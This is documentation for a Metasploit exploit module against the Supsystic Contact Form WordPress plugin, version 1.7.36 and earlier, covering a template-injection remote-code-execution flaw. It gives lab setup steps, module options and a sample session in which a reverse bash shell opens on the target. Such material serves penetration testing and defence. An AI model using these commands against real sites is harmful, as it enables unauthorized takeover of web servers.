## Vulnerable Application

This module exploits a Server Side Template Injection vulnerability in
the Wordpress plugin "Contact Form" by Supsystic versions 1.7.36 and before.

The vulnerability exists in the `generateHtml()` function of the `formsViewCfs`
class, which accepts user-controlled input via any one of the Contact Form
field parameters given it is of an appropriate type (see the FIELD option for
further clarification).

Tested Contact Form version 1.7.36 on Ubuntu 24.04 and Windows 10.

## Setup

### Install XAMPP

https://sourceforge.net/projects/xampp/

~~~bash
sudo ~/Downloads/xampp-linux-x64-8.2.12-0-installer.run
~~~

#### Add LAMPP Binaries to PATH

~~~bash
echo 'export PATH="/opt/lampp/bin:$PATH"' >> ~/.bash_profile
~~~

### Download Wordpress

https://developer.wordpress.org/advanced-administration/before-install/howto-install/

Download the wordpress zip from https://wordpress.org/download/

~~~bash
sudo mkdir /opt/lampp/htdocs/wordpress
sudo cp ~/Downloads/wordpress-6.9.4.zip /opt/lampp/htdocs/wordpress/
cd /opt/lampp/htdocs/wordpress/
sudo 7z x wordpress-6.9.4.zip
~~~

### Create Wordpress Database

#### Login as root

*Just hit enter when prompted for the password.

~~~
mysql -u root -p
Enter password:
~~~

#### Create Wordpress Database

~~~sql
CREATE DATABASE wordpress_db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
~~~

### Configure Wordpress

#### Configure Database

~~~
sudo mv wp-config-sample.php wp-config.php
~~~

Your config should look like this if you're going to use the root database user.

~~~
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );

/** Database username */
define( 'DB_USER', 'root' );

/** Database password */
define( 'DB_PASSWORD', '' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
~~~

#### Configure Site

When you first connect you'll be redirected to http://localhost/wordpress/wp-admin/install.php

Site Title: ContactFormTest
Username: admin1
Password: password123
Email: email@email.com

### Contact Form Wordpress Plugin

https://wordpress.org/plugins/contact-form-by-supsystic/advanced/

Go to "Advanced View", Then scroll down to "Previous Versions" and select 1.7.36 and Download

### Installation

1. Download Contact Form plugin
2. Unarchive contact-form-by-supsystic.zip
3. Move contents to \wp-content\plugins\
4. Go to admin panel => open item “Plugins” => activate Contact Form Builder by Supsystic

#### 2. Unarchive contact-form-by-supsystic.zip

~~~bash
7z x contact-form-by-supsystic.1.7.36.zip
sudo cp -r contact-form-by-supsystic /opt/lampp/htdocs/wordpress/wp-content/plugins
sudo chown -R www-data:www-data /opt/lampp/htdocs/wordpress/wp-content/plugins/contact-form-by-supsystic
sudo chmod -R 755 /opt/lampp/htdocs/wordpress/wp-content/plugins/contact-form-by-supsystic
~~~

### Use Plugin

https://supsystic.com/documentation/contact-form-getting-started?utm_source=wordpress&utm_medium=gettingstarted&utm_campaign=contactform

The "Shortcode" is located at the top of the page, just to the right of "Edit"

Example shortcode:

~~~
[supsystic-form id=11]
~~~

Copy and paste that into the Sample Page

It should automatically place it in a "Shortcode" block when you paste.

## Verification Steps

1. Start `msfconsole`
2. `use exploit/multi/http/wp_plugin_supsystic_contact_form_rce`
3. `set RHOSTS <target>`
4. `set TARGETURI <uri to page with contact form>` (e.g., `/wordpress/index.php/sample-page/`)
5. `set FIELD <contact form field>` (e.g., `email` or `first_name`)
6. `set LHOST <your_ip>`
7. `check`
8. `exploit`

## Options

### FIELD

The field used to inject the payload. Must be a valid field used by the Contact
Form of an appropriate type.

The field types that accept user input and have been confirmed to lead to RCE
are Text, Textarea, Number, Email, Time, and URL. Button field types do not
work.

The default fields are first_name, last_name, subject, message, and email,
though anyone of these can be changed or removed.

If the FIELD isn't passed the module will attempt to derive them from the html,
however no type detection is performed so the detected field could be of an
invalid type. Only the first derived field is used, but you can manually try
the others that are output.

## Scenarios

### Exploiting Contact Form by Supsystic 1.7.36 to obtain reverse shell

~~~
msf > use exploit/multi/http/wp_plugin_supsystic_contact_form_rce
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > set rhost 10.0.0.45
rhost => 10.0.0.45
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > set targeturi /wordpress/index.php/sample-page/
targeturi => /wordpress/index.php/sample-page/
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > set lhost 10.0.0.218
lhost => 10.0.0.218
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > set ssl false
[!] Changing the SSL option's value may require changing RPORT!
ssl => false
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > exploit
[*] Started reverse TCP handler on 10.0.0.218:4444
[+] Found fields: first_name, last_name, email, subject, message, select, url, number, send, time, reset
[*] Using detected field: first_name
[*] Command shell session 1 opened (10.0.0.218:4444 -> 10.0.0.45:37848) at 2026-04-08 12:46:37 -0400

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
~~~
